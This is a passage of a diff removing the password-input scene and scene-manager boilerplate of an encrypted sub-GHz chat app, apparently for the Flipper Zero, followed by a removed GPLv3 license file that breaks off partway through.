bool ret = crypto_ctx_set_key(state->crypto_ctx, key, state->name_prefix, furi_get_tick());
|
|
||||||
|
|
||||||
/* cleanup */
|
|
||||||
crypto_explicit_bzero(key, sizeof(key));
|
|
||||||
|
|
||||||
if(!ret) {
|
|
||||||
crypto_ctx_clear(state->crypto_ctx);
|
|
||||||
furi_string_printf(error, "Failed to\nset key!");
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->encrypted = true;
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Prepares the password input scene. */
|
|
||||||
void scene_on_enter_pass_input(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_pass_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
state->text_input_store[0] = 0;
|
|
||||||
text_input_reset(state->text_input);
|
|
||||||
text_input_set_result_callback(
|
|
||||||
state->text_input,
|
|
||||||
pass_input_cb,
|
|
||||||
state,
|
|
||||||
state->text_input_store,
|
|
||||||
sizeof(state->text_input_store),
|
|
||||||
true);
|
|
||||||
text_input_set_validator(state->text_input, pass_input_validator, state);
|
|
||||||
text_input_set_header_text(state->text_input, "Password");
|
|
||||||
|
|
||||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Handles scene manager events for the password input scene. */
|
|
||||||
bool scene_on_event_pass_input(void* context, SceneManagerEvent event) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_pass_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
switch(event.type) {
|
|
||||||
case SceneManagerEventTypeCustom:
|
|
||||||
switch(event.event) {
|
|
||||||
/* switch to frequency input scene */
|
|
||||||
case ESubGhzChatEvent_PassEntered:
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
consumed = false;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Cleans up the password input scene. */
|
|
||||||
void scene_on_exit_pass_input(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_pass_input");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
text_input_reset(state->text_input);
|
|
||||||
crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
|
|
||||||
}
|
|
||||||
@@ -1,30 +0,0 @@
|
|||||||
#include "esubghz_chat_scene.h"
|
|
||||||
|
|
||||||
// Generate scene on_enter handlers array
|
|
||||||
#define ADD_SCENE(prefix, name, id) scene_on_enter_##name,
|
|
||||||
void (*const esubghz_chat_scene_on_enter_handlers[])(void*) = {
|
|
||||||
#include "esubghz_chat_scene_config.h"
|
|
||||||
};
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_event handlers array
|
|
||||||
#define ADD_SCENE(prefix, name, id) scene_on_event_##name,
|
|
||||||
bool (*const esubghz_chat_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
|
|
||||||
#include "esubghz_chat_scene_config.h"
|
|
||||||
};
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_exit handlers array
|
|
||||||
#define ADD_SCENE(prefix, name, id) scene_on_exit_##name,
|
|
||||||
void (*const esubghz_chat_scene_on_exit_handlers[])(void* context) = {
|
|
||||||
#include "esubghz_chat_scene_config.h"
|
|
||||||
};
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Initialize scene handlers configuration structure
|
|
||||||
const SceneManagerHandlers esubghz_chat_scene_event_handlers = {
|
|
||||||
.on_enter_handlers = esubghz_chat_scene_on_enter_handlers,
|
|
||||||
.on_event_handlers = esubghz_chat_scene_on_event_handlers,
|
|
||||||
.on_exit_handlers = esubghz_chat_scene_on_exit_handlers,
|
|
||||||
.scene_num = ESubGhzChatScene_MAX,
|
|
||||||
};
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <gui/scene_manager.h>
|
|
||||||
|
|
||||||
// Generate scene id and total number
|
|
||||||
#define ADD_SCENE(prefix, name, id) ESubGhzChatScene_##id,
|
|
||||||
typedef enum {
|
|
||||||
#include "esubghz_chat_scene_config.h"
|
|
||||||
ESubGhzChatScene_MAX
|
|
||||||
} ESubGhzChatScene;
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
extern const SceneManagerHandlers esubghz_chat_scene_event_handlers;
|
|
||||||
|
|
||||||
// Generate scene on_enter handlers declaration
|
|
||||||
#define ADD_SCENE(prefix, name, id) void scene_on_enter_##name(void*);
|
|
||||||
#include "esubghz_chat_scene_config.h"
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_event handlers declaration
|
|
||||||
#define ADD_SCENE(prefix, name, id) \
|
|
||||||
bool scene_on_event_##name(void* context, SceneManagerEvent event);
|
|
||||||
#include "esubghz_chat_scene_config.h"
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_exit handlers declaration
|
|
||||||
#define ADD_SCENE(prefix, name, id) void scene_on_exit_##name(void* context);
|
|
||||||
#include "esubghz_chat_scene_config.h"
|
|
||||||
#undef ADD_SCENE
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
ADD_SCENE(esubghz_chat, freq_input, FreqInput)
|
|
||||||
ADD_SCENE(esubghz_chat, key_menu, KeyMenu)
|
|
||||||
ADD_SCENE(esubghz_chat, pass_input, PassInput)
|
|
||||||
ADD_SCENE(esubghz_chat, hex_key_input, HexKeyInput)
|
|
||||||
ADD_SCENE(esubghz_chat, key_read_popup, KeyReadPopup)
|
|
||||||
ADD_SCENE(esubghz_chat, chat_input, ChatInput)
|
|
||||||
ADD_SCENE(esubghz_chat, chat_box, ChatBox)
|
|
||||||
ADD_SCENE(esubghz_chat, key_display, KeyDisplay)
|
|
||||||
ADD_SCENE(esubghz_chat, key_share_popup, KeySharePopup)
|
|
||||||
674
applications/external/etch_a_sketch/LICENSE
vendored
@@ -1,674 +0,0 @@
|
|||||||
GNU GENERAL PUBLIC LICENSE
|
|
||||||
Version 3, 29 June 2007
|
|
||||||
|
|
||||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
|
||||||
Everyone is permitted to copy and distribute verbatim copies
|
|
||||||
of this license document, but changing it is not allowed.
|
|
||||||
|
|
||||||
Preamble
|
|
||||||
|
|
||||||
The GNU General Public License is a free, copyleft license for
|
|
||||||
software and other kinds of works.
|
|
||||||
|
|
||||||
The licenses for most software and other practical works are designed
|
|
||||||
to take away your freedom to share and change the works. By contrast,
|
|
||||||
the GNU General Public License is intended to guarantee your freedom to
|
|
||||||
share and change all versions of a program--to make sure it remains free
|
|
||||||
software for all its users. We, the Free Software Foundation, use the
|
|
||||||
GNU General Public License for most of our software; it applies also to
|
|
||||||
any other work released this way by its authors. You can apply it to
|
|
||||||
your programs, too.
|
|
||||||
|
|
||||||
When we speak of free software, we are referring to freedom, not
|
|
||||||
price. Our General Public Licenses are designed to make sure that you
|
|
||||||
have the freedom to distribute copies of free software (and charge for
|
|
||||||
them if you wish), that you receive source code or can get it if you
|
|
||||||
want it, that you can change the software or use pieces of it in new
|
|
||||||
free programs, and that you know you can do these things.
|
|
||||||
|
|
||||||
To protect your rights, we need to prevent others from denying you
|
|
||||||
these rights or asking you to surrender the rights. Therefore, you have
|
|
||||||
certain responsibilities if you distribute copies of the software, or if
|
|
||||||
you modify it: responsibilities to respect the freedom of others.
|
|
||||||
|
|
||||||
For example, if you distribute copies of such a program, whether
|
|
||||||
gratis or for a fee, you must pass on to the recipients the same
|
|
||||||
freedoms that you received. You must make sure that they, too, receive
|
|
||||||
or can get the source code. And you must show them these terms so they
|
|
||||||
know their rights.
|
|
||||||
|
|
||||||
Developers that use the GNU GPL protect your rights with two steps:
|
|
||||||
(1) assert copyright on the software, and (2) offer you this License
|
|
||||||
giving you legal permission to copy, distribute and/or modify it.
|
|
||||||
|
|
||||||
For the developers' and authors' protection, the GPL clearly explains
|
|
||||||
that there is no warranty for this free software. For both users' and
|
|
||||||
authors' sake, the GPL requires that modified versions be marked as
|
|
||||||
changed, so that their problems will not be attributed erroneously to
|
|
||||||
authors of previous versions.
|
|
||||||
|
|
||||||
Some devices are designed to deny users access to install or run
|
|
||||||
modified versions of the software inside them, although the manufacturer
|
|
||||||
can do so. This is fundamentally incompatible with the aim of
|
|
||||||
protecting users' freedom to change the software. The systematic
|
|
||||||
pattern of such abuse occurs in the area of products for individuals to
|
|
||||||
use, which is precisely where it is most unacceptable. Therefore, we
|
|
||||||
have designed this version of the GPL to prohibit the practice for those
|
|
||||||
products. If such problems arise substantially in other domains, we
|
|
||||||
stand ready to extend this provision to those domains in future versions
|
|
||||||
of the GPL, as needed to protect the freedom of users.
|
|
||||||
|
|
||||||
Finally, every program is threatened constantly by software patents.
|
|
||||||
States should not allow patents to restrict development and use of
|
|
||||||
software on general-purpose computers, but in those that do, we wish to
|
|
||||||
avoid the special danger that patents applied to a free program could
|
|
||||||
make it effectively proprietary. To prevent this, the GPL assures that
|
|
||||||
patents cannot be used to render the program non-free.
|
|
||||||
|
|
||||||
The precise terms and conditions for copying, distribution and
|
|
||||||
modification follow.
|
|
||||||
|
|
||||||
TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
0. Definitions.
|
|
||||||
|
|
||||||
"This License" refers to version 3 of the GNU General Public License.
|
|
||||||
|
|
||||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
|
||||||
works, such as semiconductor masks.
|
|
||||||
|
|
||||||
"The Program" refers to any copyrightable work licensed under this
|
|
||||||
License. Each licensee is addressed as "you". "Licensees" and
|
|
||||||
"recipients" may be individuals or organizations.
|
|
||||||
|
|
||||||
To "modify" a work means to copy from or adapt all or part of the work
|
|
||||||
in a fashion requiring copyright permission, other than the making of an
|
|
||||||
exact copy. The resulting work is called a "modified version" of the
|
|
||||||
earlier work or a work "based on" the earlier work.
|
|
||||||
|
|
||||||
A "covered work" means either the unmodified Program or a work based
|
|
||||||
on the Program.
|
|
||||||
|
|
||||||
To "propagate" a work means to do anything with it that, without
|
|
||||||
permission, would make you directly or secondarily liable for
|
|
||||||
infringement under applicable copyright law, except executing it on a
|
|
||||||
computer or modifying a private copy. Propagation includes copying,
|
|
||||||
distribution (with or without modification), making available to the
|
|
||||||
public, and in some countries other activities as well.
|
|
||||||
|
|
||||||
To "convey" a work means any kind of propagation that enables other
|
|
||||||
parties to make or receive copies. Mere interaction with a user through
|
|
||||||
a computer network, with no transfer of a copy, is not conveying.
|
|
||||||
|
|
||||||
An interactive user interface displays "Appropriate Legal Notices"
|
|
||||||
to the extent that it includes a convenient and prominently visible
|
|
||||||
feature that (1) displays an appropriate copyright notice, and (2)
|
|
||||||
tells the user that there is no warranty for the work (except to the
|
|
||||||
extent that warranties are provided), that licensees may convey the
|
|
||||||
work under this License, and how to view a copy of this License. If
|
|
||||||
the interface presents a list of user commands or options, such as a
|
|
||||||
menu, a prominent item in the list meets this criterion.
|
|
||||||
|
|
||||||
1. Source Code.
|
|
||||||
|
|
||||||
The "source code" for a work means the preferred form of the work
|
|
||||||
for making modifications to it. "Object code" means any non-source
|
|
||||||
form of a work.
|
|
||||||
|
|
||||||
A "Standard Interface" means an interface that either is an official
|
|
||||||
standard defined by a recognized standards body, or, in the case of
|
|
||||||
interfaces specified for a particular programming language, one that
|
|
||||||
is widely used among developers working in that language.
|
|
||||||
|
|
||||||
The "System Libraries" of an executable work include anything, other
|
|
||||||
than the work as a whole, that (a) is included in the normal form of
|
|
||||||
packaging a Major Component, but which is not part of that Major
|
|
||||||
Component, and (b) serves only to enable use of the work with that
|
|
||||||
Major Component, or to implement a Standard Interface for which an
|
|
||||||
implementation is available to the public in source code form. A
|
|
||||||
"Major Component", in this context, means a major essential component
|
|
||||||
(kernel, window system, and so on) of the specific operating system
|
|
||||||
(if any) on which the executable work runs, or a compiler used to
|
|
||||||
produce the work, or an object code interpreter used to run it.
|
|
||||||
|
|
||||||
The "Corresponding Source" for a work in object code form means all
|
|
||||||
the source code needed to generate, install, and (for an executable
|
|
||||||
work) run the object code and to modify the work, including scripts to
|
|
||||||
control those activities. However, it does not include the work's
|
|
||||||
System Libraries, or general-purpose tools or generally available free
|
|
||||||
programs which are used unmodified in performing those activities but
|
|
||||||
which are not part of the work. For example, Corresponding Source
|
|
||||||
includes interface definition files associated with source files for
|
|
||||||
the work, and the source code for shared libraries and dynamically
|
|
||||||
linked subprograms that the work is specifically designed to require,
|
|
||||||
such as by intimate data communication or control flow between those
|
|
||||||
subprograms and other parts of the work.
|
|
||||||
|
|
||||||
The Corresponding Source need not include anything that users
|
|
||||||
can regenerate automatically from other parts of the Corresponding
|
|
||||||
Source.
|
|
||||||
|
|
||||||
The Corresponding Source for a work in source code form is that
|
|
||||||
same work.
|
|
||||||
|
|
||||||
2. Basic Permissions.
|
|
||||||
|
|
||||||
All rights granted under this License are granted for the term of
|
|
||||||
copyright on the Program, and are irrevocable provided the stated
|
|
||||||
conditions are met. This License explicitly affirms your unlimited
|
|
||||||
permission to run the unmodified Program. The output from running a
|
|
||||||
covered work is covered by this License only if the output, given its
|
|
||||||
content, constitutes a covered work. This License acknowledges your
|
|
||||||
rights of fair use or other equivalent, as provided by copyright law.
|
|
||||||
|
|
||||||
You may make, run and propagate covered works that you do not
|
|
||||||
convey, without conditions so long as your license otherwise remains
|
|
||||||
in force. You may convey covered works to others for the sole purpose
|
|
||||||
of having them make modifications exclusively for you, or provide you
|
|
||||||
with facilities for running those works, provided that you comply with
|
|
||||||
the terms of this License in conveying all material for which you do
|
|
||||||
not control copyright. Those thus making or running the covered works
|
|
||||||
for you must do so exclusively on your behalf, under your direction
|
|
||||||
and control, on terms that prohibit them from making any copies of
|
|
||||||
your copyrighted material outside their relationship with you.
|
|
||||||
|
|
||||||
Conveying under any other circumstances is permitted solely under
|
|
||||||
the conditions stated below. Sublicensing is not allowed; section 10
|
|
||||||
makes it unnecessary.
|
|
||||||
|
|
||||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
|
||||||
|
|
||||||
No covered work shall be deemed part of an effective technological
|
|
||||||
measure under any applicable law fulfilling obligations under article
|
|
||||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
|
||||||
similar laws prohibiting or restricting circumvention of such
|
|
||||||
measures.
|
|
||||||
|
|
||||||
When you convey a covered work, you waive any legal power to forbid
|
|
||||||
circumvention of technological measures to the extent such circumvention
|
|
||||||
is effected by exercising rights under this License with respect to
|
|
||||||
the covered work, and you disclaim any intention to limit operation or
|
|
||||||
modification of the work as a means of enforcing, against the work's
|
|
||||||
users, your or third parties' legal rights to forbid circumvention of
|
|
||||||
technological measures.
|
|
||||||
|
|
||||||
4. Conveying Verbatim Copies.
|
|
||||||
|
|
||||||
You may convey verbatim copies of the Program's source code as you
|
|
||||||
receive it, in any medium, provided that you conspicuously and
|
|
||||||
appropriately publish on each copy an appropriate copyright notice;
|
|
||||||
keep intact all notices stating that this License and any
|
|
||||||
non-permissive terms added in accord with section 7 apply to the code;
|
|
||||||
keep intact all notices of the absence of any warranty; and give all
|
|
||||||
recipients a copy of this License along with the Program.
|
|
||||||
|
|
||||||
You may charge any price or no price for each copy that you convey,
|
|
||||||
and you may offer support or warranty protection for a fee.
|
|
||||||
|
|
||||||
5. Conveying Modified Source Versions.
|
|
||||||
|
|
||||||
You may convey a work based on the Program, or the modifications to
|
|
||||||
produce it from the Program, in the form of source code under the
|
|
||||||
terms of section 4, provided that you also meet all of these conditions:
|
|
||||||
|
|
||||||
a) The work must carry prominent notices stating that you modified
|
|
||||||
it, and giving a relevant date.
|
|
||||||
|
|
||||||
b) The work must carry prominent notices stating that it is
|
|
||||||
released under this License and any conditions added under section
|
|
||||||
7. This requirement modifies the requirement in section 4 to
|
|
||||||
"keep intact all notices".
|
|
||||||
|
|
||||||
c) You must license the entire work, as a whole, under this
|
|
||||||
License to anyone who comes into possession of a copy. This
|
|
||||||
License will therefore apply, along with any applicable section 7
|
|
||||||
additional terms, to the whole of the work, and all its parts,
|
|
||||||
regardless of how they are packaged. This License gives no
|
|
||||||
permission to license the work in any other way, but it does not
|
|
||||||
invalidate such permission if you have separately received it.
|
|
||||||
|
|
||||||
d) If the work has interactive user interfaces, each must display
|
|
||||||
Appropriate Legal Notices; however, if the Program has interactive
|
|
||||||
interfaces that do not display Appropriate Legal Notices, your
|
|
||||||
work need not make them do so.
|
|
||||||
|
|
||||||
A compilation of a covered work with other separate and independent
|
|
||||||
works, which are not by their nature extensions of the covered work,
|
|
||||||
and which are not combined with it such as to form a larger program,
|
|
||||||
in or on a volume of a storage or distribution medium, is called an
|
|
||||||
"aggregate" if the compilation and its resulting copyright are not
|
|
||||||
used to limit the access or legal rights of the compilation's users
|
|
||||||
beyond what the individual works permit. Inclusion of a covered work
|
|
||||||
in an aggregate does not cause this License to apply to the other
|
|
||||||
parts of the aggregate.
|
|
||||||
|
|
||||||
6. Conveying Non-Source Forms.
|
|
||||||
|
|
||||||
You may convey a covered work in object code form under the terms
|
|
||||||
of sections 4 and 5, provided that you also convey the
|
|
||||||
machine-readable Corresponding Source under the terms of this License,
|
|
||||||
in one of these ways:
|
|
||||||
|
|
||||||
a) Convey the object code in, or embodied in, a physical product
|
|
||||||
(including a physical distribution medium), accompanied by the
|
|
||||||
Corresponding Source fixed on a durable physical medium
|
|
||||||
customarily used for software interchange.
|
|
||||||
|
|
||||||
b) Convey the object code in, or embodied in, a physical product
|
|
||||||
(including a physical distribution medium), accompanied by a
|
|
||||||
written offer, valid for at least three years and valid for as
|
|
||||||
long as you offer spare parts or customer support for that product
|
|
||||||
model, to give anyone who possesses the object code either (1) a
|
|
||||||
copy of the Corresponding Source for all the software in the
|
|
||||||
product that is covered by this License, on a durable physical
|
|
||||||
medium customarily used for software interchange, for a price no
|
|
||||||
more than your reasonable cost of physically performing this
|
|
||||||
conveying of source, or (2) access to copy the
|
|
||||||
Corresponding Source from a network server at no charge.
|
|
||||||
|
|
||||||
c) Convey individual copies of the object code with a copy of the
|
|
||||||
written offer to provide the Corresponding Source. This
|
|
||||||
alternative is allowed only occasionally and noncommercially, and
|
|
||||||
only if you received the object code with such an offer, in accord
|
|
||||||
with subsection 6b.
|
|
||||||
|
|
||||||
d) Convey the object code by offering access from a designated
|
|
||||||
place (gratis or for a charge), and offer equivalent access to the
|
|
||||||
Corresponding Source in the same way through the same place at no
|
|
||||||
further charge. You need not require recipients to copy the
|
|
||||||
Corresponding Source along with the object code. If the place to
|
|
||||||
copy the object code is a network server, the Corresponding Source
|
|
||||||
may be on a different server (operated by you or a third party)
|
|
||||||
that supports equivalent copying facilities, provided you maintain
|
|
||||||
clear directions next to the object code saying where to find the
|
|
||||||
Corresponding Source. Regardless of what server hosts the
|
|
||||||
Corresponding Source, you remain obligated to ensure that it is
|
|
||||||
available for as long as needed to satisfy these requirements.
|
|
||||||
|
|
||||||
e) Convey the object code using peer-to-peer transmission, provided
|
|
||||||
you inform other peers where the object code and Corresponding
|
|
||||||
Source of the work are being offered to the general public at no
|
|
||||||
charge under subsection 6d.
|
|
||||||
|
|
||||||
A separable portion of the object code, whose source code is excluded
|
|
||||||
from the Corresponding Source as a System Library, need not be
|
|
||||||
included in conveying the object code work.
|
|
||||||
|
|
||||||
A "User Product" is either (1) a "consumer product", which means any
|
|
||||||
tangible personal property which is normally used for personal, family,
|
|
||||||
or household purposes, or (2) anything designed or sold for incorporation
|
|
||||||
into a dwelling. In determining whether a product is a consumer product,
|
|
||||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
|
||||||
product received by a particular user, "normally used" refers to a
|
|
||||||
typical or common use of that class of product, regardless of the status
|
|
||||||
of the particular user or of the way in which the particular user
|
|
||||||
actually uses, or expects or is expected to use, the product. A product
|
|
||||||
is a consumer product regardless of whether the product has substantial
|
|
||||||
commercial, industrial or non-consumer uses, unless such uses represent
|
|
||||||
the only significant mode of use of the product.
|
|
||||||
|
|
||||||
"Installation Information" for a User Product means any methods,
|
|
||||||
procedures, authorization keys, or other information required to install
|
|
||||||
and execute modified versions of a covered work in that User Product from
|
|
||||||
a modified version of its Corresponding Source. The information must
|
|
||||||
suffice to ensure that the continued functioning of the modified object
|
|
||||||
code is in no case prevented or interfered with solely because
|
|
||||||
modification has been made.
|
|
||||||
|
|
||||||
If you convey an object code work under this section in, or with, or
|
|
||||||
specifically for use in, a User Product, and the conveying occurs as
|
|
||||||
part of a transaction in which the right of possession and use of the
|
|
||||||
User Product is transferred to the recipient in perpetuity or for a
|
|
||||||
fixed term (regardless of how the transaction is characterized), the
|
|
||||||
Corresponding Source conveyed under this section must be accompanied
|
|
||||||
by the Installation Information. But this requirement does not apply
|
|
||||||
if neither you nor any third party retains the ability to install
|
|
||||||
modified object code on the User Product (for example, the work has
|
|
||||||
been installed in ROM).
|
|
||||||
|
|
||||||
The requirement to provide Installation Information does not include a
|
|
||||||
requirement to continue to provide support service, warranty, or updates
|
|
||||||
for a work that has been modified or installed by the recipient, or for
|
|
||||||
the User Product in which it has been modified or installed. Access to a
|
|
||||||
network may be denied when the modification itself materially and
|
|
||||||
adversely affects the operation of the network or violates the rules and
|
|
||||||
protocols for communication across the network.
|
|
||||||
|
|
||||||
Corresponding Source conveyed, and Installation Information provided,
|
|
||||||
in accord with this section must be in a format that is publicly
|
|
||||||
documented (and with an implementation available to the public in
|
|
||||||
source code form), and must require no special password or key for
|
|
||||||
unpacking, reading or copying.
|
|
||||||
|
|
||||||
7. Additional Terms.
|
|
||||||
|
|
||||||
"Additional permissions" are terms that supplement the terms of this
|
|
||||||
License by making exceptions from one or more of its conditions.
|
|
||||||
Additional permissions that are applicable to the entire Program shall
|
|
||||||
be treated as though they were included in this License, to the extent
|
|
||||||
that they are valid under applicable law. If additional permissions
|
|
||||||
apply only to part of the Program, that part may be used separately
|
|
||||||
under those permissions, but the entire Program remains governed by
|
|
||||||
this License without regard to the additional permissions.
|
|
||||||
|
|
||||||
When you convey a copy of a covered work, you may at your option
|
|
||||||
remove any additional permissions from that copy, or from any part of
|
|
||||||
it. (Additional permissions may be written to require their own
|
|
||||||
removal in certain cases when you modify the work.) You may place
|
|
||||||
additional permissions on material, added by you to a covered work,
|
|
||||||
for which you have or can give appropriate copyright permission.
|
|
||||||
|
|
||||||
Notwithstanding any other provision of this License, for material you
|
|
||||||
add to a covered work, you may (if authorized by the copyright holders of
|
|
||||||
that material) supplement the terms of this License with terms:
|
|
||||||
|
|
||||||
a) Disclaiming warranty or limiting liability differently from the
|
|
||||||
terms of sections 15 and 16 of this License; or
|
|
||||||
|
|
||||||
b) Requiring preservation of specified reasonable legal notices or
|
|
||||||
author attributions in that material or in the Appropriate Legal
|
|
||||||
Notices displayed by works containing it; or
|
|
||||||
|
|
||||||
c) Prohibiting misrepresentation of the origin of that material, or
|
|
||||||
requiring that modified versions of such material be marked in
|
|
||||||
reasonable ways as different from the original version; or
|
|
||||||
|
|
||||||
d) Limiting the use for publicity purposes of names of licensors or
|
|
||||||
authors of the material; or
|
|
||||||
|
|
||||||
e) Declining to grant rights under trademark law for use of some
|
|
||||||
trade names, trademarks, or service marks; or
|
|
||||||
|
|
||||||
f) Requiring indemnification of licensors and authors of that
|
|
||||||
material by anyone who conveys the material (or modified versions of
|
|
||||||
it) with contractual assumptions of liability to the recipient, for
|
|
||||||
any liability that these contractual assumptions directly impose on
|
|
||||||
those licensors and authors.
|
|
||||||
|
|
||||||
All other non-permissive additional terms are considered "further
|
|
||||||
restrictions" within the meaning of section 10. If the Program as you
|
|
||||||
received it, or any part of it, contains a notice stating that it is
|
|
||||||
governed by this License along with a term that is a further
|
|
||||||
restriction, you may remove that term. If a license document contains
|
|
||||||
a further restriction but permits relicensing or conveying under this
|
|
||||||
License, you may add to a covered work material governed by the terms
|
|
||||||
of that license document, provided that the further restriction does
|
|
||||||
not survive such relicensing or conveying.
|
|
||||||
|
|
||||||
If you add terms to a covered work in accord with this section, you
|
|
||||||
must place, in the relevant source files, a statement of the
|
|
||||||
additional terms that apply to those files, or a notice indicating
|
|
||||||
where to find the applicable terms.
|
|
||||||
|
|
||||||
Additional terms, permissive or non-permissive, may be stated in the
|
|
||||||
form of a separately written license, or stated as exceptions;
|
|
||||||
the above requirements apply either way.
|
|
||||||
|
|
||||||
8. Termination.
|
|
||||||
|
|
||||||
You may not propagate or modify a covered work except as expressly
|
|
||||||
provided under this License. Any attempt otherwise to propagate or
|
|
||||||
modify it is void, and will automatically terminate your rights under
|
|
||||||
this License (including any patent licenses granted under the third
|
|
||||||
paragraph of section 11).
|
|
||||||
|
|
||||||
However, if you cease all violation of this License, then your
|
|
||||||
license from a particular copyright holder is reinstated (a)
|
|
||||||
provisionally, unless and until the copyright holder explicitly and
|
|
||||||
finally terminates your license, and (b) permanently, if the copyright
|
|
||||||
holder fails to notify you of the violation by some reasonable means
|
|
||||||
prior to 60 days after the cessation.
|
|
||||||
|
|
||||||
Moreover, your license from a particular copyright holder is
|
|
||||||
reinstated permanently if the copyright holder notifies you of the
|
|
||||||
violation by some reasonable means, this is the first time you have
|
|
||||||
received notice of violation of this License (for any work) from that
|
|
||||||
copyright holder, and you cure the violation prior to 30 days after
|
|
||||||
your receipt of the notice.
|
|
||||||
|
|
||||||
Termination of your rights under this section does not terminate the
|
|
||||||
licenses of parties who have received copies or rights from you under
|
|
||||||
this License. If your rights have been terminated and not permanently
|
|
||||||
reinstated, you do not qualify to receive new licenses for the same
|
|
||||||
material under section 10.
|
|
||||||
|
|
||||||
9. Acceptance Not Required for Having Copies.
|
|
||||||
|
|
||||||
You are not required to accept this License in order to receive or
|
|
||||||
run a copy of the Program. Ancillary propagation of a covered work
|
|
||||||
occurring solely as a consequence of using peer-to-peer transmission
|
|
||||||
to receive a copy likewise does not require acceptance. However,
|
|
||||||
nothing other than this License grants you permission to propagate or
|
|
||||||
modify any covered work. These actions infringe copyright if you do
|
|
||||||
not accept this License. Therefore, by modifying or propagating a
|
|
||||||
covered work, you indicate your acceptance of this License to do so.
|
|
||||||
|
|
||||||
10. Automatic Licensing of Downstream Recipients.
|
|
||||||
|
|
||||||
Each time you convey a covered work, the recipient automatically
|
|
||||||
receives a license from the original licensors, to run, modify and
|
|
||||||
propagate that work, subject to this License. You are not responsible
|
|
||||||
for enforcing compliance by third parties with this License.
|
|
||||||
|
|
||||||
An "entity transaction" is a transaction transferring control of an
|
|
||||||
organization, or substantially all assets of one, or subdividing an
|
|
||||||
organization, or merging organizations. If propagation of a covered
|
|
||||||
work results from an entity transaction, each party to that
|
|
||||||
transaction who receives a copy of the work also receives whatever
|
|
||||||
licenses to the work the party's predecessor in interest had or could
|
|
||||||
give under the previous paragraph, plus a right to possession of the
|
|
||||||
Corresponding Source of the work from the predecessor in interest, if
|
|
||||||
the predecessor has it or can get it with reasonable efforts.
|
|
||||||
|
|
||||||
You may not impose any further restrictions on the exercise of the
|
|
||||||
rights granted or affirmed under this License. For example, you may
|
|
||||||
not impose a license fee, royalty, or other charge for exercise of
|
|
||||||
rights granted under this License, and you may not initiate litigation
|
|
||||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
|
||||||
any patent claim is infringed by making, using, selling, offering for
|
|
||||||
sale, or importing the Program or any portion of it.
|
|
||||||
|
|
||||||
11. Patents.
|
|
||||||
|
|
||||||
A "contributor" is a copyright holder who authorizes use under this
|
|
||||||
License of the Program or a work on which the Program is based. The
|
|
||||||
work thus licensed is called the contributor's "contributor version".
|
|
||||||
|
|
||||||
A contributor's "essential patent claims" are all patent claims
|
|
||||||
owned or controlled by the contributor, whether already acquired or
|
|
||||||
hereafter acquired, that would be infringed by some manner, permitted
|
|
||||||
by this License, of making, using, or selling its contributor version,
|
|
||||||
but do not include claims that would be infringed only as a
|
|
||||||
consequence of further modification of the contributor version. For
|
|
||||||
purposes of this definition, "control" includes the right to grant
|
|
||||||
patent sublicenses in a manner consistent with the requirements of
|
|
||||||
this License.
|
|
||||||
|
|
||||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
|
||||||
patent license under the contributor's essential patent claims, to
|
|
||||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
|
||||||
propagate the contents of its contributor version.
|
|
||||||
|
|
||||||
In the following three paragraphs, a "patent license" is any express
|
|
||||||
agreement or commitment, however denominated, not to enforce a patent
|
|
||||||
(such as an express permission to practice a patent or covenant not to
|
|
||||||
sue for patent infringement). To "grant" such a patent license to a
|
|
||||||
party means to make such an agreement or commitment not to enforce a
|
|
||||||
patent against the party.
|
|
||||||
|
|
||||||
If you convey a covered work, knowingly relying on a patent license,
|
|
||||||
and the Corresponding Source of the work is not available for anyone
|
|
||||||
to copy, free of charge and under the terms of this License, through a
|
|
||||||
publicly available network server or other readily accessible means,
|
|
||||||
then you must either (1) cause the Corresponding Source to be so
|
|
||||||
available, or (2) arrange to deprive yourself of the benefit of the
|
|
||||||
patent license for this particular work, or (3) arrange, in a manner
|
|
||||||
consistent with the requirements of this License, to extend the patent
|
|
||||||
license to downstream recipients. "Knowingly relying" means you have
|
|
||||||
actual knowledge that, but for the patent license, your conveying the
|
|
||||||
covered work in a country, or your recipient's use of the covered work
|
|
||||||
